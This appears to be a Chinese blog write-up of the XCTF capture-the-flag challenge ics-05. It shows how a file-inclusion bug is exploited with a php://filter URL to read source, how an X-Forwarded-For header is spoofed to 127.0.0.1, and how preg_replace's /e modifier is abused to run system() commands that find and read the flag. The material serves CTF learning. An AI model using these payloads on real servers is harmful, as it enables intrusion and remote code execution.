zoukankan      html  css  js  c++  java
  • 【XCTF】ics-05

    信息:

    题目来源:XCTF 4th-CyberEarth

    标签:PHP伪协议

    题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

    解题过程

    题目给了一个工控管理系统,并提示存在后门,遂进行目录扫描:

    ics-051

    发现可疑目录 /index.php/login/,访问后得到一个后台页面:

    ics-052

    出现page这个get参数,猜测可能存在文件包含读取源码的漏洞:

    http://220.249.52.133:48431/index.php/login/?page=php://filter/read=convert.base64-encode/resource=index.php
    

    ics-053

    获得网页源代码(关键部分):

    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
        echo "<br >Welcome My Admin ! <br >";
    
        $pattern = $_GET[pat];
        $replacement = $_GET[rep];
        $subject = $_GET[sub];
    
        if (isset($pattern) && isset($replacement) && isset($subject)) {
            preg_replace($pattern, $replacement, $subject);
        }else{
            die();
        }
    }
    

    伪造XFF头来登入系统,同时利用preg_replace函数的漏洞(当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行)

    preg_replace — 执行一个正则表达式的搜索和替换

    • pattern:要搜索的模式。可以使一个字符串或字符串数组
    • replacement:用于替换的字符串或字符串数组
    • subject:要进行搜索和替换的字符串或字符串数组

    构造payload:

    ?pat=/1/e&rep=system("find+-iname+flag")&sub=123
    iname: 忽略大小写
    +:代替空格
    

    ics-054

    pat=/1/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123
    %26%26 == &&
    

    获得flag文件名为flag.php

    ?pat=/1/e&rep=system("cat++./s3chahahaDir/flag/flag.php")&sub=123
    

    获得flag。

  • 相关阅读:
    17. Letter Combinations of a Phone Number
    16. 3Sum Closest
    15. 3Sum
    14. Longest Common Prefix
    13. Roman to Integer
    12. Integer to Roman
    11. Container With Most Water
    10. Regular Expression Matching
    9. Palindrome Number
    8. String to Integer (atoi)
  • 原文地址:https://www.cnblogs.com/chalan630/p/13222336.html
Copyright © 2011-2022 走看看